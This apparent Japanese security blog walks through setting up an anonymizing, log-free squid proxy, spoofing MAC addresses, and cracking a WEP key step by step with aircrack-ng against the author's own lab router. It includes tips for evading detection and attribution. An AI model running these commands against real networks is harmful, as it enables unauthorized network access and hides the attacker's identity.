FAR EAST GATE

BLACK/WHITE SECURITY

HTTP プロキシ squid の導入

古典的な方法になりますが HTTP プロキシサーバを利用することで、Web ブラウジングにおける匿名性を少しだけ高めることができます。

Linux 系 OS においては squid という HTTP プロキシサーバが広く用いられます。以下は CentOS 7.4 への squid 導入例です。

squid インストール

# cat /etc/redhat-release
CentOS Linux release 7.4.1708 (Core)

# yum -y install squid
# rpm -q squid
squid-3.5.20-10.el7.x86_64


諸事情によりソースコードからインストールする場合は以下手順を実施します。libdb への参照が確実に行われるように configure 引数に LDFLAGS を付けるのが安全です。

# wget http://www.squid-cache.org/Versions/v3/3.5/squid-3.5.27.tar.gz
# tar xzvf squid-3.5.27.tar.gz
# cd squid-3.5.27
# ./configure --prefix=/usr --includedir=/usr/include --datadir=/usr/share \
  --bindir=/usr/sbin --libexecdir=/usr/lib/squid --localstatedir=/var \
  --sysconfdir=/etc/squid LDFLAGS="-ldb"
# make -j 4
# make install

IPアドレス制限の解放

/etc/squid/squid.conf

 http_access allow localnet
 http_access allow localhost
+http_access allow all

localhost へのアクセス禁止

/etc/squid/squid.conf

-#http_access deny to_localhost
+http_access deny to_localhost

HTTPSポートの追加許可

https://xxxxxx:1234/ 等へのアクセスを許可する場合

/etc/squid/squid.conf

-acl SSL_ports port 443
+acl SSL_ports port 443 1234
....
-acl Safe_ports port 443        # https
+acl Safe_ports port 443 1234   # https

各種パラメータの隠蔽

/etc/squid/squid.conf

(末尾)
+visible_hostname unkown
+forwarded_for off
+request_header_access X-FORWARDED-FOR deny all
+request_header_access Via deny all
+request_header_access Cache-Control deny all

ログ出力を行わない

/etc/squid/squid.conf

(末尾)
+access_log none
+cache_store_log none
+cache_log /dev/null
+logfile_rotate 0

IPv6 による問題が発生する場合

/etc/squid/squid.conf

(末尾)
+dns_v4_first on

BASIC 認証

# yum -y install httpd-tools
# htpasswd -c /etc/squid/passwd {ユーザ名}
New password: (パスワード入力)
Re-type new password: (パスワード再入力)


/etc/squid/squid.conf

 #
 # INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
 #
+auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd
+acl password proxy_auth REQUIRED
+http_access allow password

ポート変更

/etc/squid/squid.conf

-http_port 3128
+http_port 12345

常時起動

# chkconfig squid on
# service squid start

プロキシ判定されないための注意点

各種パラメータの隠蔽によりプロトコル上のプロキシ情報をある程度隠すことができますが、疑わしき点をさらに除外したいのならば HTTP プロキシを設置するサーバでは 80 (HTTP) や 443 (HTTPS) 等の「明らかにサーバ用途であるだろう」ポートは閉じておくのが良いです。

いくら HTTP リクエストヘッダ上のプロキシ情報を隠したとしても該当 IP への 80/443 ポートアクセスができてしまっては、そのノードがサーバインスタンスであること(可能性)は簡単に想像されてしまいます。実際に、そのようなポートが解放されているノードからの HTTP リクエストを deny するようなサイトはいくつかあります。

80/443 以外にも 3306 (MySQL) 等も同様です。

できる限りプロキシ経由であることを隠したいのならば、解放するポートは最低限に絞るのが得策です。

認証制限についての注意点

設置した HTTP プロキシを自分だけしか利用できないように認証をかけることは健全な運用としては理に適っていますが、逆にそのプロキシを使っている限りは常にそのプロキシの固定 IP からのアクセスとなるため、匿名性が下がる可能性もあります。

認証制限をかけずに不特定多数のユーザからのアクセスを許容することにより、自分以外のユーザアクセスを混ぜることで自分自身の匿名性を上げる選択もあるということを覚えておいてください。ただし他人による不正行為があった場合、プロキシ管理者であるあなたには説明責任や管理責任が問われることも同時に意識する必要があります。

前者後者どちらの選択を採り得るかはトレードオフの関係にありますので、それぞれの特性を理解した上で運用を行ってください。

macchanger によるネットワークアダプタ MAC アドレスの変更

ネットワークアダプタ(eth0, wlan0 等)には、いわゆるそのネットワークアダプタのハードウェア固有識別子として MAC アドレスをというものが割り当てられています。

# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ....
        ether ef:89:0a:77:e4:01  txqueuelen 1000  (Ethernet)
        ....
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ....
        ether 09:a8:aa:ce:32:e4  txqueuelen 1000  (Ethernet)
        ....

ifconfig で各アダプタの MAC アドレスを確認することができます。
上記例では eth0 の MAC アドレスは ef:89:0a:77:e4:01、wlan0 の MAC アドレスは 09:a8:aa:ce:32:e4 であることが分かります。

MAC アドレスによる個人特定について

基本的にひとつのネットワークアダプタは世界中の他のどのネットワークアダプタとも値の被らない MAC アドレスを持っています。

これはつまり、MAC アドレスをログに記録しておけば(共有マシンでもない限りは)誰のマシンからのアクセスがあったかが解析される可能性があります。

そのような解析を諸事情により避けたい場合には、ネットワークアダプタMAC アドレスを変更していまう、という手段があります。

macchanger による MAC アドレスの書き換え

現在状態の確認

# macchanger -s wlan0
Current MAC:   09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)

ランダムな MAC アドレスに設定

# ifconfig wlan0 down
# macchanger -r wlan0
Current MAC:   09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
New MAC:       7e:37:f2:05:88:60 (unknown)  … ★変更予約アドレス(次の ifconfig wlan0 up 時に適用)
# ifconfig wlan0 up
# ifconfig wlan0
        ....
        ether 7e:37:f2:05:88:60  txqueuelen 1000  (Ethernet)  … ★ MAC アドレスが変わった

# macchanger -s wlan0
Current MAC:   7e:37:f2:05:88:60 (unknown) 
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)

元に戻す

# ifconfig wlan0 down
# macchanger -p wlan0
Current MAC:   7e:37:f2:05:88:60 (unknown)
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
New MAC:       09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
# ifconfig wlan0 up
# ifconfig wlan0
        ....
        ether 09:a8:aa:ce:32:e4  txqueuelen 1000  (Ethernet) … ★ 元の MAC アドレスに戻った

指定の MAC アドレスに設定

# ifconfig wlan0 down
# macchanger -m 00:11:22:33:44:55 wlan0
Current MAC:   09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
New MAC:       00:11:22:33:44:55 (CIMSYS Inc)
# ifconfig wlan0 up
# ifconfig wlan0
        ....
        ether 00:11:22:33:44:55  txqueuelen 1000  (Ethernet) … ★ 指定通りの MAC アドレスになった

ルーター管理画面でのクライアント MAC アドレス確認

ルーターによっては管理画面で現在接続中のクライアントの MAC アドレスを確認できる機能があります。
今回実験に用いたルーターにもそのような画面があったので確認してみたところ、実際に任意設定した MAC アドレス「00:11:22:33:44:55」が表示されていることが確認できます。
f:id:goodmand:20180211214952p:plain:w500

プロトコル上、MAC アドレスはクライアントから自己申告するものですので、このような虚偽の情報を渡したとしてもルーターには MAC アドレスの正当性を判断する術が無いため、通信は問題なく行われます。(そして攻撃者としては生の MAC アドレスを知られることなく活動ができることになります)

Kali Linux 以外における macchanger

LinuxyumUbuntu の apt-get 等でもインストールができるので、興味のある方は試してみてください。

aircrack-ng ソースコードからのビルド・インストール(Fedora, AmazonLinux)

前記事では Kali Linux に標準搭載の aircrack-ng スイートを用いて WEP 方式のアクセスポイントを奪取する手順を紹介しました。

aircrackn-ng は GitHub 上でソースコードが公開されており、様々なプラットフォームにおけるビルド・インストール手順が公開されているため、Kali Linux 以外の OS で動かすことが可能です。

Fedora release 26 への導入

OS 情報

# cat /etc/redhat-release 
Fedora release 26 (Twenty Six)

インストール

# yum -y install autoconf automake libtool libnl3-devel openssl-devel sqlite-devel gcc-c++
# git clone https://github.com/aircrack-ng/aircrack-ng.git
# cd aircrack-ng
# ./autogen.sh
# ./configure
# make
# make install

結果確認

# aircrack-ng 
  Aircrack-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe
  https://www.aircrack-ng.org

# which aircrack-ng
/usr/local/bin/aircrack-ng

# ls -ltr /usr/local/bin                                                  
total 436
-rwxr-xr-x 1 root root 13136 Jan 31 17:23 aircrack-ng
-rwxr-xr-x 1 root root 55392 Jan 31 17:23 airdecap-ng
-rwxr-xr-x 1 root root 69888 Jan 31 17:23 packetforge-ng
-rwxr-xr-x 1 root root 58768 Jan 31 17:23 ivstools
-rwxr-xr-x 1 root root 17416 Jan 31 17:23 kstats
-rwxr-xr-x 1 root root 28328 Jan 31 17:23 makeivs-ng
-rwxr-xr-x 1 root root 43368 Jan 31 17:23 airdecloak-ng
-rwxr-xr-x 1 root root 63456 Jan 31 17:23 wpaclean
-rwxr-xr-x 1 root root 73760 Jan 31 17:23 airolib-ng

これら9種のコマンドが aircrack-ng スイートにより提供されるコマンド群。

Amazon Linux (AWS) への導入

OS 情報

$ cat /etc/system-release
Amazon Linux release 2.0 (2017.12) LTS Release Candidate

インストール

# yum -y install autoconf automake libtool libnl3-devel openssl-devel sqlite-devel gcc-c++
# git clone https://github.com/aircrack-ng/aircrack-ng.git
# cd aircrack-ng
# ./autogen.sh
# ./configure
# make
# make install

結果確認

# aircrack-ng
  Aircrack-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe
  https://www.aircrack-ng.org

# which aircrack-ng
/usr/local/bin/aircrack-ng

# ls -ltr /usr/local/bin
total 436
-rwxr-xr-x 1 root root 13088 Feb 11 07:46 aircrack-ng
-rwxr-xr-x 1 root root 55376 Feb 11 07:46 airdecap-ng
-rwxr-xr-x 1 root root 69880 Feb 11 07:46 packetforge-ng
-rwxr-xr-x 1 root root 58752 Feb 11 07:46 ivstools
-rwxr-xr-x 1 root root 17368 Feb 11 07:46 kstats
-rwxr-xr-x 1 root root 28280 Feb 11 07:46 makeivs-ng
-rwxr-xr-x 1 root root 63408 Feb 11 07:46 wpaclean
-rwxr-xr-x 1 root root 43328 Feb 11 07:46 airdecloak-ng
-rwxr-xr-x 1 root root 73752 Feb 11 07:46 airolib-ng

これら9種のコマンドが aircrack-ng スイートにより提供されるコマンド群。

ソースコード以外によるインストール

例えば Fedora では aircrack-ng は「yum install aircrack-ng」でインストールすることができますし、Ubuntu では「apt-get install aircrack-ng」でインストールすることができます。

これらの管理マネージャより aircrack-ng を入れる場合には、そのバージョンが GitHub の最新版に比べると少し古い場合があることに注意してください。

ソースコードからビルド・インストールすることの利点

通常は yum そのような簡単な手順でインストールするのが楽で良いですが、以下のようなコアユースの際にはソースコードからのビルド・インストールをしてみる選択肢が有効です。

  • GitHub にあがっている最新版を使いたい場合
  • ツールを独自改造してビルド・実行したい場合

aircrack-ng による WEP 方式アクセスポイントの奪取

Wi-Fi の暗号方式には WEP, WPA, WPA2 等があり、これらの方式はどれも大抵のルーターで利用設定を行うことができます。ただ、このうちの WEP 方式については容易に解読されうる弱い暗号であることが分かっているため、最近のルーターであればこの機能はデフォルト OFF にされているのが普通です。

2003年に Wi-Fi Appliance から WEP 方式は WPA 方式にとって代わられたと発表され、2004年には IEEE からも WEP 方式が非推奨であることが宣言されました。

WEP 方式のアクセスポイントの探索

非推奨とされる WEP の実際の利用状況はどうなっているかというと、実はいまだに使われている状態が散見されます。

前記事「aircrack-ng による端末周辺の Wi-Fi 情報(SSID 等)の取得 - FAR EAST GATE」では端末周辺の Wi-Fi 情報の収集に触れました。実際に市街で
airodump-ng コマンドにより Wi-Fi アクセスポイント情報を収集してみると、WEP 方式のアクセスポイントがときおり観測されます。

f:id:goodmand:20180208171104p:plain:w500

ENC, CIPHER 欄が「WEP」となっている項目が WEP 方式のアクセスポイントです。

WEP がまだ残っているのは、おそらく古いルーター(WPA非対応)を使い続けている人によるものではないかと想像しています。また、初代ニンテンドーDSが WPA に対応していない等、旧機種依存のためにあえて WEP を設定している人もまだ多少はいると思います。


なお、airodump-ng の実行時に「--encrypt WEP」の引数を与えると WEP 方式のアクセスポイントのみに絞って観測を行うことができるため、WEP 方式アクセスポイントのみを探索したい場合にはこの引数を指定すると良いです。以下は実行例です。

# airodump-ng --encrypt WEP wlan0mon

 CH 12 ][ Elapsed: 12 s ][ 2018-xxxx

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C2:xx:xx:xx:xx:3A  -50       31        0    0   5  54e  WEP  WEP         <length: 15>
 A6:xx:xx:xx:xx:86  -62       29        0    0   8  54e  WEP  WEP         <length: 15>

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 (not associated)   AC:xx:xx:xx:xx:71  -67    0 - 1      3        6

WEP 方式のアクセスポイントの奪取

検証用機材の準備

他人のアクセスポイントを奪取するわけにもいかないので、検証用のアクセスポイントを自分で用意します。具体的には以下の機材を用意します。

  • 標的
    • 無線ルーター (WEP)
    • 無線ルータに接続済みのクライアントマシン(スマホ等でも良い)
  • 攻撃者
    • aircrack-ng を実行するマシン(攻撃者)

以下はルータの無線設定画面です。
f:id:goodmand:20180208192712p:plain:w500
暗号化方式を WEP とし、暗号化キーを大小英数と記号の混じった13文字に設定しました。ここまで複雑なキーを総当たりで突破するのは無理でしょう。

無線ネットワークアダプタMAC アドレスの確認

攻撃者マシン側の無線ネットワークアダプタMAC アドレスを確認しておきます。

# ifconfig -a
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        ether f6:79:84:db:e5:90  txqueuelen 1000  (Ethernet)


この MAC アドレスは後の工程で使うため、Bash 変数に格納しておきます。

# MYMAC=f6:79:84:db:e5:90

モニタモードの開始

モニタモードを開始します。

# airmon-ng check kill
# airmon-ng start wlan0

アクセスポイントの確認

airodump-ng によりアクセスポイントの BSSID(MACアドレス), CH(チャンネル), ESSID(SSID)を確認します。

# airodump-ng --encrypt WEP wlan0mon
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 .................
 34:F1:C5:9A:03:41  -37       10        0    0  11  54e  WEP  WEP         AirPort
 .................


ここで確認した BSSID, CH, ESSID は後の工程で使うので、Bash 変数に保管しておきます。

# BSSID=34:F1:C5:9A:03:41
# CH=11
# ESSID=AirPort

利用チャンネルを明示指定してモニタモードを再起動

# airmon-ng stop wlan0mon
# airmon-ng start wlan0 $CH

アソシエーションの確立

自分(攻撃者)のネットワークアダプタとアクセスポイントの間にアソシエーションを確立します。

# aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MYMAC wlan0mon
22:21:35  Waiting for beacon frame (BSSID: 34:F1:C5:9A:03:41) on channel 11

22:21:35  Sending Authentication Request (Open System) [ACK]
22:21:35  Authentication successful
22:21:35  Sending Association Request [ACK]
22:21:35  Association successful :-) (AID: 1)

WEP Fragmentation attack の実施

aireplay-ng コマンドにより WEP Fragmentation attack を実施します。このとき、アクセスポイントに対して接続している正当なクライアントがいないと処理が進まないことに注意してください。WEP Fragmentation attack は正当なクライアントからの通信パケットを傍受することにより必要な情報を収集します。

# aireplay-ng -5 -b $BSSID -h $MYMAC wlan0mon
20:07:28  Waiting for beacon frame (BSSID: 34:F1:C5:9A:03:41) on channel 11
20:07:28  Waiting for a data packet...
Read 3329 packets...

        Size: 70, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  34:F1:C5:9A:03:41 … ルーターのMACアドレス
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  19:05:91:A3:C2:12 … 接続しに来たクライアントのMACアドレス

        0x0000:  0842 0000 0100 5e00 00fb 34f1 c59a 0341  .B....^...4v....
        0x0010:  1905 91a3 c212 f040 c3ab 7500 1c18 6710  d..C...@..u...g.
        0x0020:  .......................................  ................
        0x0030:  .......................................  ................
        0x0040:  bd03 .... 671f                           ..=.g.

Use this packet ? y ←「y」を入力して進める

Saving chosen packet in replay_src-0208-222738.cap
22:27:42  Data packet found!
22:27:42  Sending fragmented packet
....
....(10秒以内程度)
....
22:27:46  Got RELAYED packet!!
Saving keystream in fragment-0208-222746.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream

# ls -ltr
-rw-r--r-- 1 root root  112 Feb  8 22:27 replay_src-0208-222738.cap
-rw-r--r-- 1 root root 1504 Feb  8 22:27 fragment-0208-222746.xor

リレーパケットの受信により .cap ファイルおよび .xor ファイルができあがります。

ARPリクエストファイルの作成

packetforge-ng コマンドによりARPリクエストファイル(arp-request)を作成します。

# packetforge-ng -0 -a $BSSID -h $MYMAC -k 255.255.255.255 -l 255.255.255.255 \
    -y fragment-*.xor -w arp-request
Wrote packet to: arp-request

# ls -ltr
total 12
-rw-r--r-- 1 root root  112 Feb  8 22:27 replay_src-0208-222738.cap
-rw-r--r-- 1 root root 1504 Feb  8 22:27 fragment-0208-222746.xor
-rw-r--r-- 1 root root  108 Feb  8 22:31 arp-request

キャプチャ開始

airodump-ng により通信情報をキャプチャします。今回はアクセスポイントのチャンネル番号と BSSID(MAC アドレス)に絞った観測を行い、結果を wepcap-*.cap というファイルに出力します。

# airodump-ng --channel $CH --bssid $BSSID -w wepcap wlan0mon
 CH 11 ][ Elapsed: 6 s ][ 2018-02-08 22:37

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 34:F1:C5:9A:03:41  -39 100       74        0    0  11  54e  WEP  WEP         AirPort

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

この airodump-ng は実行しっぱなしにしておき、「#Data」の数値が溜まるのを待ちます。

ARP リクエス

標的側のクライアントが積極的に通信をしていれば airodump-ng が収集している「#Data」の数値は勝手に増えていきますが、そうでもない場合には ARP リクエストの送信により通信量の増加を促します。

airodump-ng の実行は止めずに別ターミナルで以下を実行します。(Bash 変数は別ターミナルでも設定し直してください)

# aireplay-ng -2 -h $MYMAC -r arp-request wlan0mon

        Size: 68, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  34:F1:C5:9A:03:41
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  F6:79:84:DB:E5:90

        0x0000:  0841 0201 34f1 c59a 0341 f679 84db e590  .A..4v........@=
        ....
        ....
        0x0040:  3aa5 23dd                                :.#.

Use this packet ?  y ←「y」を入力して進める

ダンプ状況の確認

実行中の airodump-ng の様子を確認します。「#Data」が4万程度まで溜まっていればだいたい十分です。

# airodump-ng --channel $CH --bssid $BSSID -w wepcap wlan0mon
 CH 11 ][ Elapsed: 6 s ][ 2018-02-08 22:37

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 34:F1:C5:9A:03:41  -42   0     6682    46053    1  11  54e  WEP  WEP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

WEP キーの解析

airodump-ng, aireplay-ng の実行はそのまま止めず、airorump-ng が出力する wepcap-*.cap というファイルができているかどうか確認してみます。

# ls -ltr
....
....
-rw-r--r-- 1 root root 142892335 Feb  8 23:01 wepcap-01.cap

この .cap ファイルから aircrack-ng コマンドにより WEP キーの解析を行うことができます。

airodump, aireplay-ng とは別でさらに新しいターミナルを開き、以下を実行します。(Bash 変数は別ターミナルでも設定し直してください)

# aircrack-ng -a 1 -b $BSSID wepcap-01.cap

                                   Aircrack-ng 1.2 rc4


                   [00:00:08] Tested 601 keys (got 98109 IVs)

   KB    depth   byte(vote)
    0    0/  1   7A(144640) 85(112640) B1(111104) AD(109824) 30(109312)
    ....
    ....
     KEY FOUND! [ 7A:21:49:69:7A:67:33:31:64:41:66:67:3F ] (ASCII: z!Iizg31dAfg? )
        Decrypted correctly: 100%

成功です。今回冒頭のほうで設定していた WEP キー「z!Iizg31dAfg?」がみごと解析により判明しました。

解析が終わったら、実行中の airodump-ng, aireplay-ng は終了し、airmon-ng stop wlan0mon で後始末をしてください。


手順が長いですが、これらの手順をある程度自動化するツールもありますので、機会があればいつか紹介します。

aircrack-ng による端末周辺の Wi-Fi 情報(SSID 等)の取得

aircrack-ng スイート(ツール群)に含まれる airmon-ng, airodump-ng コマンドにより、端末周辺に飛び交っている Wi-Fi アクセスポイントやクライアント等の情報を収集することができます。

aircrack-ng は様々なプラットフォームで動作するバイナリおよびソースコードが配布されていますが、Kali Linux にはディストリビューション時点で aircrack-ng が標準搭載されている ため、手動のインストールは不要です。

ネットワーク管理プロセスの停止

NetworkManager 等のネットワーク管理プロセスが立ち上がっていると airmon-ng の動作が阻害されることがあるため、airmon-ng を使うときにはこれらを停止しておく必要があります。

「airmon-ng check」コマンドにより airmon-ng へ影響を与える全プロセスを確認することができます。

# airmon-ng check

Found 4 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to run 'airmon-ng check kill'

  PID Name
  333 NetworkManager
  436 wpa_supplicant
  568 dhclient
 1554 dhclient

いくつかのネットワーク管理プロセスが見つかりました。

これらはひとつひとつ kill コマンドで停止することもできますが、「airmon-ng check kill」コマンドにより一括停止させることもできるので大抵はこの機能を使うのが良いです。

# airmon-ng check kill

Killing these processes:

  PID Name
  436 wpa_supplicant
  568 dhclient

# airmon-ng check
(何も表示されないことを確認)

ネットワークアダプタの確認

airmon-ng を実行する前に「iwconfig」コマンドによりネットワークアダプタの一覧を確認しておきます。

# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any
          Mode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

「wlan0」という名前の有効な Wi-Fi アダプタが見つかりました。今回はこのアダプタを用いて airmon-ng を実行します。

モニタモード (airmon-ng) の開始

airmon-ng は Wi-Fi のモニタ機能を提供します。「airmon-ng start <ネットワークアダプタ名>」でモニタモードを開始します。

# airmon-ng start wlan0

PHY     Interface       Driver          Chipset

phy0    wlan0           ath9k           Qualcomm Atheros AR9285 ......

        (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
        (mac80211 station mode vif disabled for [phy0]wlan0)


モニタモードの開始ができたら、再度「iwconfig」コマンドによりネットワークアダプタの一覧を見てみます。

# iwconfig
wlan0mon  IEEE 802.11  Mode:Monitor  Frequency:2.457 GHz  Tx-Power=15 dBm
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

lo        no wireless extensions.

eth0      no wireless extensions.

「wlan0」というアダプタが消え、代わりに「wlan0mon」という新しいアダプタができたことが確認できます。

このアダプタを用いて今後 Wi-Fi 情報のモニタリングを行うことになります。

端末周辺の Wi-Fi 情報の表示

airmon-ng によって作成されたモニタ用アダプタ(今回のケースでは「wlan0mon」)を用いて、airodump-ng コマンドにより端末周辺の Wi-Fi 情報をリアルタイムにモニタリングした結果を表示できます。

以下は実行例です。

# airodump-ng wlan0mon
 CH  3 ][ Elapsed: 0 s ][ 2018-...........

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 F4:...........:5C  -58        2        0    0  13  54e. WPA2 CCMP   PSK  ....
 36:...........:79  -66        3        0    0   6  54e. WPA2 CCMP   PSK  ....
 00:...........:40  -60        3        0    0   1  54e  OPN              ....
 34:...........:82  -40        4        0    0  11  54e  WPA2 CCMP   PSK  AirPort

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 (not associated)   86:...........:F5  -68    0 - 1      0        1
 (not associated)   B6:...........:D2  -41    0 - 1      1        2
 (not associated)   08:...........:C8  -73    0 - 1      0        1

 00:...........:20  C0:...........:4B  -81    0 - 1e     0        2

f:id:goodmand:20180207143729p:plain:w800

※今回伏字にしていない AirPort という SSID は実験用に自分で用意したアクセスポイントです。

airodump-ng の表示は大きく分けて上段と下段に分かれています。下段が見えない場合はコンソールのサイズを縦に広げてみてください。

airodump-ng 上段(BSSID, PWR, Beacons, ..., ESSID)

検出されたアクセスポイント一覧が表示されます。

  • BSSID … ルーターMAC アドレス
  • ENC, CIPHER, AUTH … Wi-Fi の暗号方式
  • ESSID … SSID (アクセスポイント名)

airodump-ng 下段(BSSID, STATION, ..., Probe)

検出されたクライアント一覧が表示されます。

  • BSSID … 接続先ルーターMAC アドレス
  • STATION … 接続元クライアント(スマホやラップトップ等)の MAC アドレス
  • Probe … 接続しようとしている SSID(その場に該当アクセスポイントが見つからない場合等にここが表示される)

airodump-ng の終了

Ctrl+C キーにより airodump-ng を終了します。

モニタモード (airmon-ng) の終了

「airmon-ng stop <モニタ用アダプタ名>」コマンドによりモニタモードを終了します。

# airmon-ng stop wlan0mon

PHY     Interface       Driver          Chipset

phy0    wlan0mon        ath9k           Qualcomm Atheros AR9285 ......

        (mac80211 station mode vif enabled on [phy0]wlan0)
        (mac80211 monitor mode vif disabled for [phy0]wlan0mon)


モニタモードを終了したら、「iwconfig」によりネットワークアダプタの確認をし直します。

root@laptop-kali:~# iwconfig
lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm   
          Retry short limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off

「wlan0mon」が消え、「wlan0」が元通り表示されることが確認できます。

通常の Wi-Fi 利用を再開する際には、必要に応じて NetworkManager 等を起動し直してください。

Kali Linux 有線ネットワークが NetworkManager によって自動切断される問題の解消

端末同士をLANケーブルで直接接続して通信していると、Kali Linux 側のネットワーク (eth0) が一定時間の経過後に自動で切断されてしまうことがあります。これは NetworkManager が自動で eth0 を無効と判断し切断しているようです(おそらく端末間の直接接続なので DHCP が見つからないために無効と判断されているように思います。切断理由の詳細は時間のあるときにまた調べ直しておきます)。

NetworkManager からの干渉を受けたくないネットワーク(今回のケースでは eth0)については /etc/network/interfaces に自前で設定を書いておくことで干渉を避けることができます。

# vi /etc/network/interfaces
(以下を追記)
auto eth0
iface eth0 inet dhcp

# service network-manager restart


また、NetworkManager が明示的に /etc/network/interfaces を見にいくように、/etc/NetworkManager/NetworkManager.conf も変更しておく必要があります。

# vi /etc/NetworkManager/NetworkManager.conf
...
[ifupdown]
managed=false  ← ここを true に変更


今回のケースでは端末同士の直接接続のため DHCP を利用しませんが、状況によっては DHCP のあるネットワークに繋げることもあるため、interfaces での記述は「dhcp」としました。

※ ifup 時に DHCP が無い場所でも DHCP を探しにいってしまう分の待ち時間が発生してしまいますが、それほど不便は感じていないのでそのまま運用しています。

Kali Linux 壁紙の変更

Kali Linux のデフォルトのデスクトップ壁紙は Kali Linux のロゴそのものですので、見る人が見たら「オッ、悪いことやってるな」と疑われる可能性があります。

Kali 使ってるアピールをしたいのであれば良いですが、そうでもなければ壁紙の画像は変更しておきましょう。

デスクトップの適当な所の右クリックメニューの Change Background から壁紙の変更ができます。
f:id:goodmand:20180206193950p:plain:w400

デスクトップ画面およびロック画面の背景をそれぞれ別個に設定できます。
f:id:goodmand:20180206193956p:plain:w600

f:id:goodmand:20180206194013p:plain:w600